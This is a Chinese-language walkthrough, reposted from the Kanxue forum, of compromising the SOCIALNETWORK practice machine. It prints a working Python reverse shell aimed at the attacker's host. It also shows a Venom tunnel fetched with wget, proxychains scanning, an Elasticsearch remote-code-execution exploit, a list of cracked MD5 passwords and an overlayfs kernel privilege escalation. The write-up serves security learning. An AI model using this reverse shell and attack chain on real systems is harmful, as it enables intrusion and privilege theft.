SOCIALNETWORK打靶记录

admin 2023年5月28日01:45:06评论19 views字数 3647阅读12分9秒阅读模式




信息收集


首先对靶机进行ip发现与端口及应用版本信息扫描:

SOCIALNETWORK打靶记录

dirsearch和Windows平台上的御剑,本质上是一样的。

对隐藏路径进行爬取和发现:

SOCIALNETWORK打靶记录

打开后发现是一个代码执行页面 如果过滤不严格可能可以通过该功能直接执行代码操作。

SOCIALNETWORK打靶记录





反弹shell


导入一段shell代码去反弹链接,去网上搜索python 反弹shell就可以获得shell代码
https://xz.aliyun.com/t/7721#:~:text=%E6%88%91%E4%BB%AC%E5%85%88%E6%9D%A5%E7%9C%8B%E7%9C%8B%E7%BD%91%E4%B8%8A%E6%B5%81%E4%BC%A0%E5%BE%97%E6%9C%80%E5%B9%BF%E7%9A%84python%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E8%84%9A%E6%9C%AC%EF%BC%9A%20import%20socket%2Csubprocess%2Cos%20s%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29,s.connect%28%28%22127.0.0.1%22%2C23333%29%29%20os.dup2%28s.fileno%28%29%2C0%29%20os.dup2%28s.fileno%28%29%2C1%29%20os.dup2%28s.fileno%28%29%2C2%29%20p%3Dsubprocess.call%28%5B%22%2Fbin%2Fbash%22%2C%22-i%22%5D%29%3B
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.70.196",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

如果kali里没安装bash,像上面那篇文章里面那样call(["/bin/bash","-i"]);就会失败,由于sh是最基础的,所以call /bin/sh总没错。

SOCIALNETWORK打靶记录

在反弹的时候遇到了一些小问题,总结一下就是退出root权限,反弹代码千万记得写分号。

SOCIALNETWORK打靶记录



内网穿透


dockerfile通常会作为dockers容器部署开发环境的时候会使用的一个模板开发文件。这个模板文件中包含如何去引入docker映像,如何对这个映像进行配置和安装软件包,修改服务项 等都会在这个模板文件中存在。利用这个文件可以在生产的服务器上大量的批量的部署docker容器。

SOCIALNETWORK打靶记录

查看该文件,可以看到标准的docker模板的操作指令。

SOCIALNETWORK打靶记录

使用命令:ls /.dockerenv 或者 cat /proc/1/cgroup(1表示初始化文件) 如果有结果那说明是一个docker系统而不是安装在服务器上的系统。

如何检测是否是docker系统?通过查看是否存在dockerenv这个文件,如果存在则大概率就是一个docker容器系统。

查看/proc/1/cgroup文件:(1代表系统的初始化进程id 当初始化进程id的cgroup文件中包含着明确的docker信息则百分百是个docker容器) 随后想办法从隔离的docker容器中突破出来找到宿主机,拿到root权限。

SOCIALNETWORK打靶记录

可以将docker容器所处的网段视为当前的内网网段 可以对内网网段进行主机发现,看看该网段中是否还存在其他主机。

SOCIALNETWORK打靶记录

16个网段,存在65535个ip。

主机发现:ping -c 对内网中的每个ip都ping一遍 或者通过脚本循环ping:for i in $(seq 1 10); do ping -c 1 ip.$i;done。

SOCIALNETWORK打靶记录





内网穿透


扫出来的172.17.0.1和172.17.0.1位于内网网段,利用kali上的工具去探测内网网段默认情况下道路不通,此时要使用内网穿透技术。
 
使用内网穿透技术,将内网和kali的网络路由打通 常用的工具:venom。
 
利用venom可以在内网和kali之间建立一个隧道,通过这个隧道生成一个代理 让其他工具可以基于这个代理对内网进行扫描。
 
首先将这个隧道的客户端程序传输拷贝到目标系统上,再与kali上的服务端程序建立隧道。
 
在Kali主机Venom目录启动Python3 Http Server 再回到目标容器系统,通过wget去访问kali主机上的http服务。

SOCIALNETWORK打靶记录

venom报错:zsh: 没有那个文件或目录: /home/chey/桌面/Venom 排查后发现是因为文件名有空格 将空格删掉之后就能正常运行了。

运行服务端,本地监听9999端口等待目标容器系统建立监听:

SOCIALNETWORK打靶记录
SOCIALNETWORK打靶记录

来到客户端计算机,获取到隧道工具的客户端程序(就是a程序)。在kali系统上启动http程序,在目标靶机上运行wget,将kali上的a程序下载过去。

SOCIALNETWORK打靶记录

如果wget失败就重启一遍服务(应该在kali装一个nginx之类的server端 开http 然后配置文件里会有一个类似root_dir的配置 还是web_dir 类似的 配好了重新起一下服务 不出意外的话应该不会出现这种问题 )。

SOCIALNETWORK打靶记录

靶机服务器上部署venom:成功连上(由于在Linux中给agent_linux_x64改名为a了 所以这里使用的是a)

SOCIALNETWORK打靶记录
 
goto到节点:socks启动监听端口1080。

SOCIALNETWORK打靶记录

为了让kali上的所有工具都可以挂代理去访问内网的网段,就必须要启动proxychain。

修改代理类型 sudo vi /etc/proxychains4.conf

SOCIALNETWORK打靶记录
socks4->socks5
9050->1080




内网扫描


此时可以对内网进行扫描了,对刚刚扫描出来的存活的ip进行扫描:
proxychains nmap -Pn -sT 172.17.0.1

SOCIALNETWORK打靶记录

进行服务版本的发现。

SOCIALNETWORK打靶记录

对172.17.0.2进行端口和版本信息扫描。

Elasticsearch开放端口:9200

SOCIALNETWORK打靶记录





内核提权


有两个远程代码执行漏洞的payload 下载回来看看。

SOCIALNETWORK打靶记录

cp /usr/share/exploitdb/exploits/linux/remote/36337.py . 将改脚本拷贝到当前目录。

SOCIALNETWORK打靶记录

使用python2来执行该脚本。

SOCIALNETWORK打靶记录

发现当前有一个password文件,文件中有账密信息 是md5加密的。

SOCIALNETWORK打靶记录

md5在线查询平台:https://cmd5.com/

john:3f8184a7343664553fcb5337a3138814:1337hack
test:861f194e9d6118f3d942a72be3e51749:1234test
admin:670c3bbc209a18dde5446e5e6c1f1d5b:1111pass
root:b3d34352fc26117979deabdf1b9b6354:1234pass
jane:5c158b60ed97c723b673529b8a3cf72b:1234jane

使用账密进行ssh登录。

SOCIALNETWORK打靶记录

尝试提权:sudo su
本地提权:最主要的方法:通过内核漏洞提权
uname -a 查看内核版本信息

SOCIALNETWORK打靶记录

searchsploit

该payload是c语言写的源码,需要通过gcc编译之后才能执行,随后才能成功提权到root权限。

SOCIALNETWORK打靶记录
SOCIALNETWORK打靶记录

由于靶机上没有gcc软件包,因此在kali上编译完后传到靶机上执行该提权payload,该payload源码中有一段命令:使用gcc编译ofs-lib.c 防止payload在靶机上运行失败,在kali上编译完后修改该代码,改为直接执行编译后的程序。

SOCIALNETWORK打靶记录

把涉及到要编译库文件的代码都删除掉。

SOCIALNETWORK打靶记录

删除上面红圈内的代码后对修改后的exp进行编译,输出文件名为exp
编译过程中的报错并不影响输出结果。

SOCIALNETWORK打靶记录

要执行该exp文件需要配合已经编译好的二进制的库文件一起执行。
二进制的库文件名叫ofs-lib.so 尝试在kali中直接定位该文件。

SOCIALNETWORK打靶记录

将这两个文件一起拷贝到目标宿主系统上。
报这个错就需要在kali中exp所在路径下重启http.server服务。

SOCIALNETWORK打靶记录
SOCIALNETWORK打靶记录





提权


接下来要执行该exp,为了保证exp的执行成功,将这两个文件拷贝到目标靶机的tmp目录下。

首先给exp赋予可执行权限,随后直接执行exp 成功提权。

SOCIALNETWORK打靶记录



SOCIALNETWORK打靶记录


看雪ID:大河向东流哇

https://bbs.kanxue.com/user-home-878276.htm

*本文为看雪论坛优秀文章,由看雪论坛 大河向东流哇 原创,转载请注明来自看雪社区

SOCIALNETWORK打靶记录

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复


SOCIALNETWORK打靶记录


SOCIALNETWORK打靶记录

球分享

SOCIALNETWORK打靶记录

球点赞

SOCIALNETWORK打靶记录

球在看

原文始发于微信公众号(看雪学苑):SOCIALNETWORK打靶记录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月28日01:45:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SOCIALNETWORK打靶记录http://cn-sec.com/archives/1766622.html

发表评论

匿名网友 填写信息